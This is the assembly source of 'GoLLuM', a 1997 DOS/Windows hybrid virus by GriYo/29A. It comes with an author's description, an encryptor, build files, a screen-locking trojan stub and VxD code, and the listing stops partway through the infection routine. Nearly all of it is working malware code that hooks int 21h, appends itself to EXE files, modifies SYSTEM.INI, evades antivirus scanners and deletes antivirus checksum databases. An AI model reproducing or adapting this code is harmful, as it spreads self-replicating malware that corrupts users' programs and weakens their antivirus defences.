0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh 03fh,03fh,03fh

; ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ; ³ GoLLuM ViRuS - BioCoded by GriYo/29A ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ; ³ CopyRight (c) 1997 All RiGhts ReseRVed ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ; ³ World's first DOS/Win hybrid ever ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ; ; GoLLuM is the very first hybrid DOS-Windows virus ever... it infects DOS ; EXE files only when they're executed inside a DOS window under any of ; the known versions of Microsoft Windows (Windows 3.1x, Windows95...). It ; becomes resident as a virtual device driver when Windows starts, and ; then hooks V86 int 21h in order to monitor file execution, trying to in; fect more files under DOS sessions. ; ; When an EXE file is executed inside a MS-DOS window, GoLLuM will attach ; itself to the end of the file (it copies first its DOS code and then the ; VxD file, both of them encrypted with a simple 'not' operation). GoLLuM ; will not infect files that have digits or the 'V' character in their na; mes (this includes AVP, MSAV, CPAV...), as well as Thunderbyte utilities ; (TB*.*), McAffee shit and F-Prot. ; ; The virus also deletes some AV database files (ANTI-VIR.DAT, CHKLIST.MS, ; AVP.CRC, IVB.NTZ and CHKLIST.TAV) whenever it infects a file. When these ; infected files are run, GoLLuM inserts the string 'DEVICE=GOLLUM.386' ; into the [386Enh] section of the SYSTEM.INI file, and then drops its VxD ; file into the Windows \SYSTEM directory. ; ; The encryption used by GoLLuM consists on a simple 'not' operation, but ; the decryptor contains a little emulation trick (try to TbClean it!). ; Besides, it contains a date-triggered event, in which it will drop tro; jan files (using the DOS stub in its VxD file). ; ; I wrote this just for fun while learning something on VxD coding. GoLLuM ; consists on the following files: ; ; GOLLUM.ASM DOS virus code ; CRYPT.ASM Code used to encrypt DOS virus code ; WGOLLUM.MAK VxD makefile ; WGOLLUM.DEF VxD def file ; VXDSTUB.ASM VxD stub used in trojans ; WGOLLUM.ASM VxD virus code ; ASSEMBLE.BAT Batch file used to build GOLLUM.INC ; ; - -[GOLLUM.ASM - DOS virus code]- - - - - - - - - - - - - - - - - - - ->8 I_am_GoLLuM

segment para 'CODE'

Header_Size VxD_File_Size Decryptor_Size All_Size Assume

equ 1Ch equ 6592 equ offset Bilbo_Dead equ offset Old_Header+(Header_Size+VxD_File_Size) cs:I_am_GoLLuM,ds:I_am_GoLLuM,es:I_am_GoLLuM,ss:I_am_GoLLuM

;Virus entry point (code inserted intro infected .EXE files) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ GoLLuM_Entry_Point: ;Get delta offset stored on infection mov bp,0000h ;Save segment regs push ds push es ;Point segment regs to our code mov ax,cs

mov ds,ax mov es,ax ;Decrypt virus and VxD file mov si,offset Bilbo_Dead add si,bp mov di,si mov cx,(All_Size-Decryptor_Size+01h)/02h Decrypt_Gollum: ;Dont let GoLLum be emulated (Meeethyyyl! ;) cld lodsw push ax pop ax cli sub sp,0002h pop ax sti not ax cld stosw loop Decrypt_Gollum ;Clear prefetch db 0EBh,00h ;Drop GOLLUM.386 file and insert DEVICE=GOLLUM.386 into SYSTEM.INI ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Bilbo_Dead: ;Find SYSTEM.INI file mov si,offset Win_Sys_Table add si,bp mov cx,0005h cld Search_Loop: lodsw mov dx,ax add dx,bp ;Open file (read/write access) mov ax,3D02h int 21h jnc Open_Ok ;Try next file name loop Search_Loop jmp Gollum_Leave Open_Ok: ;Save SYSTEM.INI file handle mov word ptr cs:[System_Handle][bp],ax ;Build VxD file name mov si,dx mov di,offset VxD_File add di,bp mov dx,di Copy_Directory: lodsb cmp al,"." je Found_Extension stosb jmp Copy_Directory Found_Extension: ;Insert the path separator mov al,"\" stosb ;Insert the name of the VxD file

mov si,offset Device_String+09h add si,bp mov cx,000Ah rep movsb ;Put the null marker xor al,al stosb ;Create de VxD file, abort if exist mov ah,5Bh xor cx,cx mov dx,offset VxD_File add dx,bp int 21h jc Close_Sys ;Write VxD to file xchg bx,ax mov ah,40h mov dx,offset Old_Header+Header_Size add dx,bp mov cx,VxD_File_Size int 21h jnc ok_VxD_Write ;Close VxD file if error... mov ah,3Eh int 21h ;...and delete it! mov ah,41h mov dx,offset VxD_File add dx,bp int 21h Close_Sys: mov bx,word ptr cs:[System_Handle][bp] jmp Exit_Infection ok_VxD_Write: ;Get handle of SYSTEM.INI file mov bx,word ptr cs:[System_Handle][bp] ;Seek to EOF mov ax,4202h xor cx,cx xor dx,dx int 21h jc Bad_Size ;Strange! SYSTEM.INI file too big or dx,dx jnz Bad_Size cmp ax,VxD_File_Size jb Size_Ok Bad_Size: jmp Exit_Infection Size_Ok: ;Save SYSTEM.INI file size mov word ptr cs:[System_Size][bp],ax ;Seek to BOF mov ax,4200h xor cx,cx xor dx,dx int 21h jc Bad_Size ;Read SYSTEM.INI over VxD file copy mov ah,3Fh mov cx,word ptr cs:[System_Size][bp] mov dx,offset Old_Header+Header_Size add dx,bp

int 21h jc bad_size ;Check if SYSTEM.INI have been infected mov cx,word ptr cs:[System_Size][bp] mov di,dx mov al,"G" Do_Inspect: cld repne scasb or cx,cx jz System_Clean ;Exit if already resident cmp word ptr es:[di],"LO" jne Do_Inspect cmp word ptr es:[di+02h],"UL" jne Do_Inspect jmp Exit_Infection System_Clean: ;Search for [386Enh] string mov cx,word ptr cs:[System_Size][bp] mov di,dx Section_Search: cld mov si,di lodsw cmp ax,"3[" jne Next_Char lodsw cmp ax,"68" je Section_Found Next_Char: inc di loop Section_Search ;Section not found, abort jmp Exit_Infection Section_Found: ;Save distance from [386Enh] string to EOF mov ax,0008h sub cx,ax add di,ax sub word ptr cs:[System_Size][bp],cx ;Seek next to [386Enh] string mov ax,4202h mov dx,cx neg dx xor cx,cx dec cx int 21h jc Exit_Infection ;Write our load string mov ah,40h mov cx,0015h mov dx,offset Device_String add dx,bp int 21h jc Exit_Infection ;Write the rest of SYSTEM.INI file mov ah,40h mov cx,word ptr cs:[System_Size][bp] mov dx,di int 21h Exit_Infection: ;Close file (bx=handle)

mov ah,3Eh int 21h ;Get control back to host ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Gollum_Leave: ;Restore segment registers pop es pop ds ;File SYSTEM.INI not found, return to host mov ah,62h int 21h add bx,10h add word ptr cs:[exe_cs][bp],bx ;Restore stack cli add bx,word ptr cs:[Old_Header+0Eh][bp] mov ss,bx mov sp,word ptr cs:[Old_Header+10h][bp] sti ;Clear some regs xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di xor bp,bp ;Clear prefetch db 0EBh,00h ;Jump to original entry point db 0EAh exe_ip dw 0000h exe_cs dw 0000h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;String table Win_Sys_Table dw offset Win_Sys_01h dw offset Win_Sys_02h dw offset Win_Sys_03h dw offset Win_Sys_04h dw offset Win_Sys_05h ;Posible locations of SYSTEM.INI file Win_Sys_01h db "C:\WINDOWS\SYSTEM.INI",00h Win_Sys_02h db "C:\WIN\SYSTEM.INI",00h Win_Sys_03h db "C:\WIN31\SYSTEM.INI",00h Win_Sys_04h db "C:\WIN311\SYSTEM.INI",00h Win_Sys_05h db "C:\WIN95\SYSTEM.INI",00h ;Buffer where virus build VxD file name and path VxD_File db 20h dup (00h) ;String inserted into SYSTEM.INI Device_String db 0Dh,0Ah,"DEVICE=GOLLUM.386",0Dh,0Ah ;Misc data System_Size dw 0000h System_Handle dw 0000h ;Next bytes = Old .EXE header + VxD file copy Old_Header equ this byte ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I_am_GoLLuM

ends end GoLLuM_Entry_Point

; - -[CRYPT.ASM - Code used to encrypt DOS virus code]- - - - - - - - - ->8

vir_test

segment para 'CODE' Assume cs:vir_test,ds:vir_test,es:vir_test,ss:vir_test org 0000h

Start: mov ax,cs mov ds,ax mov es,ax mov ax,3D00h mov dx,offset f_name int 21h jc exit_prog xchg bx,ax mov ah,3Fh mov cx,0FFFFh mov dx,offset copy int 21h jc close_file push ax mov ah,3Eh int 21h jc close_file mov si,offset copy+0027h mov di,si mov cx,9000 cld encrypt: lodsb not al stosb loop encrypt mov ah,3Ch xor cx,cx mov dx,offset x_name int 21h jc exit_prog xchg bx,ax mov ah,40h mov dx,offset copy pop cx int 21h close_file: mov ah,3Eh int 21h exit_prog: mov ax,4C00h int 21h f_name db "GOLLUM.BIN",00h x_name db "GOLLUM.CRP",00h copy db 10000 dup (00h) vir_test ends end Start ; - -[WGOLLUM.MAK - VxD makefile] - - - - - - - - - - - - - - - - - - - ->8 # file: wgollum.mak (VxD makefile) all : wgollum.exe vxdstub.obj: vxdstub.asm masm -Mx -p -w2 vxdstub; vxdstub.exe: vxdstub.obj link vxdstub.obj;

wgollum.obj: wgollum.asm .\debug.inc .\vmm.inc .\shell.inc masm5 -p -w2 -Mx $(Debug) wgollum.asm; objs = wgollum.obj wgollum.386: vxdstub.exe wgollum.def $(objs) link386 @wgollum.lnk addhdr wgollum.386 mapsym32 wgollum wgollum.exe: wgollum.386 copy wgollum.386 wgollum.exe ; - -[WGOLLUM.DEF - VxD def file] - - - - - - - - - - - - - - - - - - - ->8 library description stub exetype

wgollum 'GoLLuM ViRuS for Microsoft Windows© by GriYo/29A' 'vxdstub.exe' dev386

segments _ltext _ldata _itext _idata _text _data

preload nondiscardable preload nondiscardable class 'icode' discardable class 'icode' discardable class 'pcode' nondiscardable class 'pcode' nondiscardable

; - -[VXDSTUB.ASM - VxD stub used in trojans] - - - - - - - - - - - - - ->8 name vxdstub _TEXT segment word public 'CODE' assume cs:_TEXT,ds:_TEXT,es:_TEXT ;Activation routine ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ vxdstub proc far ;Segment regs! mov ax,cs mov ds,ax mov es,ax ;Set video mode 80x25x16c mov ax,0003h int 10h ;Print "Gollum!" mov ax,1301h mov bx,0002h mov cx,0007h mov dx,0A24h mov bp,offset Gollum_Says int 10h ;Endless loop Dead_Zone: ;Aaaarrrgggghhhhh!!!! jmp Dead_Zone ;Text printed on screen Gollum_Says db "GoLLum!" vxdstub

endp

_TEXT ends end vxdstub ; - -[WGOLLUM.ASM - VxD virus code] - - - - - - - - - - - - - - - - - - ->8 .386p ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Includes ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ.XLIST INCLUDE Vmm.Inc INCLUDE SheLL.Inc .LIST ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virtual device declaration ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄDeclare_Virtual_Device WGoLLuM,03h,00h,WGoLLuM_Control,Undefined_Device_ID,,, ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Initialization data segment ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄVxD_IDATA_SEG VxD_Installation_Title db "GoLLuM ViRuS by GriYo/29A",00h VxD_Installation_Msg db "Deep down here by the dark water lived old " db "Gollum, a small slimy creature. I dont know " db "where he came from, nor who or what he was. " db "He was a Gollum -as dark as darkness, except " db "for two big round pale eyes in his thin face." db 0Dh,0Ah,0Dh,0Ah db "J.R.R. ToLkieN ... The HoBBit" db 0Dh,0Ah,0Dh,0Ah db 00h VxD_IDATA_ENDS ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Local locked data segment ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄVxD_LOCKED_DATA_SEG Header_Size VxD_Size

equ 001Ch equ 6592

;Dos .EXE header size ;VxD file size

ALIGN DWORD DOS_Virus_Code equ this byte ;Start of Dos virus code include gollum.inc ;Load Dos virus code Header_Copy db Header_Size dup (00h) ;Buffer for old .EXE header DOS_Virus_End equ this byte DOS_Virus_Size equ (DOS_Virus_End-DOS_Virus_Code) Our_Own_Call_Flag db "EERF" ;Dos call from virus? File_Size dd 00000000h ;Size of file to infect Start_FileName dd 00000000h ;Filename start VxD_Buffer db 0200h dup (00h) ;VxD file copy Infect_FileName db 80h dup (00h) ;Last executed file File_Header db Header_Size dup (00h) ;Infected .EXE header VxD_File_Name db 80h dup (00h) ;Path of virus VxD Gollum_Name db "GOLLUM.386",00h ;Name of virus VxD file Trojan_File_Name db "GOLLUM.EXE",00h ;Generated trojans

CheckSum_File_00: CheckSum_File_01: CheckSum_File_02: CheckSum_File_03: CheckSum_File_04: Gollum_Handle Victim_Handle File_Attr File_Time File_Date

db db db db db dw dw dw dw dw

"ANTI-VIR.DAT",00h "CHKLIST.TAV",00h "CHKLIST.MS",00h "AVP.CRC",00h "IVB.NTZ",00h 0000h 0000h 0000h 0000h 0000h

;Names of av databases

;VxD file handle ;Victim file handle ;Victim file attr ;Victim file time ;Victim file date

VxD_LOCKED_DATA_ENDS ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Initialization code segment ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄVxD_ICODE_SEG ;This is the virus startup code (Sys_Critical_Init) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ BeginProc WGoLLuM_Sys_Critical_Init ;Get path of WIN386.EXE VMMCall Get_Exec_Path ;Copy path to our buffer mov esi,edx mov edi,OFFSET32 VxD_File_Name cld rep movsb mov esi,OFFSET32 Gollum_Name mov ecx,0Bh cld rep movsb ;Return, Sys_Critical_Init complete clc ret EndProc WGoLLuM_Sys_Critical_Init ;This is the virus startup code (Device_Init) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ BeginProc WGoLLuM_Device_Init ;Hook int 21h so we can monitor dos file operations mov eax,21h mov esi,OFFSET32 VxD_Int_21h VMMcall Hook_V86_Int_Chain clc ret EndProc WGoLLuM_Device_Init ;This is the virus startup code (Init_Complete) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ BeginProc WGoLLuM_Init_Complete ;Check current date mov ah,04h VxDint 1Ah

cmp dx,0604h jne short Not_Yet ;Display instalation msg VMMCall Get_SYS_VM_Handle xor eax,eax mov ecx,OFFSET32 VxD_Installation_Msg mov edi,OFFSET32 VxD_Installation_Title VxDcall Shell_SYSMODAL_Message Not_Yet: ;Return, Sys_Critical_Init complete clc ret EndProc WGoLLuM_Init_Complete VxD_ICODE_ENDS ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Locked code segment ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄVxD_LOCKED_CODE_SEG ;This is a call-back routine to handle the messages that are sent ;to VxD's to control system operation ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ BeginProc WGoLLuM_Control Control_Dispatch Sys_Critical_Init, WGoLLuM_Sys_Critical_Init Control_Dispatch Device_Init, WGoLLuM_Device_Init Control_Dispatch Init_Complete, WGoLLuM_Init_Complete clc ret EndProc WGoLLuM_Control ;This is the virus int 21h handler ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ BeginProc VxD_Int_21h, High_Freq ;Save regs pushad ;Check for our own calls (avoid recursive int 21h calls) cmp dword ptr [Our_Own_Call_Flag],"BUSY" je short Exit_VxD_Int_21h ;Set flag mov dword ptr [Our_Own_Call_Flag],"BUSY" ;Get called function mov ax,word ptr [ebp.Client_AX] ;Check for Exec function calls cmp ax,4B00h je short Store_FileName ;Check for Terminate with error-code 00h function calls cmp ax,4C00h je short Infect_Stored_FileName cmp ah,3Bh je Drop_Exe_Trojan Exit_VxD_Int_21h: ;Clear flag mov dword ptr [Our_Own_Call_Flag],"FREE" ;Restore regs

popad ;Int not served yet stc ret ;Save file name for later infection ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Store_FileName: ;Save filename into our buffer movzx edx,word ptr [ebp.Client_DX] movzx eax,word ptr [ebp.Client_DS] shl eax,04h add eax,edx mov esi,eax mov edi,OFFSET32 Infect_FileName Go_Thru_Filename: cld lodsb stosb or al,al jnz Go_Thru_Filename jmp Exit_VxD_Int_21h ;Infect stored file name ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Infect_Stored_FileName: ;Check if working on C: drive mov esi,OFFSET32 Infect_FileName cmp word ptr [esi],":C" jne Infect_Error Look_End: ;Find null marker into filename cld lodsb or al,al jnz Look_End Found_Tail: ;Search begin of file name dec esi mov ecx,0080h Look_Start: std lodsb ;Do not infect files with V character in their names cmp al,"V" je Infect_Error ;Do not infect files with digit in their names cmp al,"0" jb short Check_Start cmp al,"9" jbe Infect_Error Check_Start: cmp al,"\" je short Check_Names loop Look_Start ;Begin of file name not found, tchhh... jmp Infect_Error Check_Names: inc esi inc esi ;Save pointer to file name start

mov dword ptr [Start_FileName],esi cld lodsd ;Check for SCAN cmp eax,"NACS" je Infect_Error ;Check for F-PROT cmp eax,"RP-F" je Infect_Error ;Avoid THUNDERBYTE shit cmp ax,"BT" je Infect_Error ;Get file attr mov ax,4300h mov edx,OFFSET32 Infect_FileName VxDint 21h jc Infect_Error ;Save file attr mov word ptr [file_attr],cx ;Wipe out attr mov ax,4301h xor cx,cx VxDint 21h jc Infect_Error ;Open file to infect mov ax,3D02h mov edx,OFFSET32 Infect_FileName VxDint 21h jc Restore_Attr ;Get file handler mov word ptr [Victim_Handle],ax xchg bx,ax ;Get file date/time mov ax,5700h VxDint 21h jc Infect_Close ;Save file date time mov word ptr [File_Time],cx mov word ptr [File_Date],dx ;Read file header mov ah,3Fh mov ecx,Header_Size mov edx,OFFSET32 File_Header VxDint 21h jc Restore_Date_Time ;Seek to EOF and get real file size call Seek_File_End jc Restore_Date_Time ;Do not infect too small files cmp eax,DOS_Virus_Size+VxD_Size jbe Restore_Date_Time Test_EXE_File: ;Point esi to file header mov esi,OFFSET32 File_Header ;Check dos .EXE file type mark cmp word ptr [esi],"ZM" jne Restore_Date_Time ;Check if file is infected cmp word ptr [esi+12h],"CR" je Restore_Date_Time ;Don't infect Windows files or above cmp word ptr [esi+19h],0040h jae Restore_Date_Time

;Don't infect overlays cmp word ptr [esi+1Ah],0000h jne Restore_Date_Time ;Check maxmem field cmp word ptr [esi+0Ch],0FFFFh jne Restore_Date_Time ;Save entry point push eax mov eax,dword ptr [esi+14h] ;Crypt it! not eax mov dword ptr [DOS_Virus_Code+0177h],eax pop eax ;Make a copy of .exe file header push esi mov edi,OFFSET32 Header_Copy mov ecx,Header_Size Copy_Loop: cld lodsb not al stosb loop Copy_Loop pop esi ;Get file size into dx:ax mov eax,dword ptr [File_Size] mov edx,eax shr edx,10h ;Get file size div 10h mov cx,0010h div cx ;Sub header size sub ax,word ptr [esi+08h] ;New entry point at EOF mov word ptr [esi+14h],dx mov word ptr [esi+16h],ax ;Save delta offset mov word ptr [DOS_Virus_Code+0001h],dx ;Set new offset of stack segment in load module inc ax mov word ptr [esi+0Eh],ax ;Set new stack pointer beyond end of virus add dx,DOS_Virus_Size+VxD_Size+0200h ;Aligment and dx,0FFFEh mov word ptr [esi+10h],dx ;Get file size into dx:ax mov eax,dword ptr [File_Size] mov edx,eax shr edx,10h ;Get file size div 0200h mov cx,0200h div cx or dx,dx jz short Size_Round_1 inc ax Size_Round_1: ;Check if file size is as header says cmp ax,word ptr [esi+04h] jne Restore_Date_Time cmp dx,word ptr [esi+02h] jne Restore_Date_Time ;Get file size into dx:ax

mov eax,dword ptr [File_Size] mov edx,eax shr edx,10h ;Add virus size to file size add ax,DOS_Virus_Size+VxD_Size adc dx,0000h ;Get infected file size div 0200h mov cx,0200h div cx or dx,dx jz short Size_Round_2 inc ax Size_Round_2: ;Store new size mov word ptr [esi+02h],dx mov word ptr [esi+04h],ax ;Write DOS virus area next to EOF mov ah,40h mov ecx,DOS_Virus_Size mov edx,OFFSET32 DOS_Virus_Code VxDint 21h jc Restore_Date_Time ;Open Gollum VxD file mov ax,3D00h mov edx,OFFSET32 VxD_File_Name VxDint 21h jc Restore_Date_Time ;Save file handler mov word ptr [Gollum_Handle],ax Read_VxD_Block: ;Read VxD file block mov ah,3Fh mov bx,word ptr [Gollum_Handle] mov ecx,0200h mov edx,OFFSET32 VxD_Buffer VxDint 21h push eax 